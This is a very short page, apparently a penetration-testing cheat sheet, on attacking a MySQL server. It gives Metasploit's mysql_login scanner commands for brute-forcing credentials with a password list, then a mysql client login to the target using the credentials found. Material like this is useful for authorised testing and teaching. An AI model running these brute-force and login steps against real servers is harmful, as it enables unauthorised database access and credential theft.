Skip to content

Targeting MySQL Database Server

  1. Perform a brute-force attack to enumerate valid users on the system

    use auxiliary/scanner/mysql/mysql_login
    set RHOSTS TARGET_IP
    set PASS_FILE PASSWORDS_LIST
    

  2. Log in with the credentials obtained above:

mysql -u USERNAME -p -h TARGET_IP
# Enter password when requested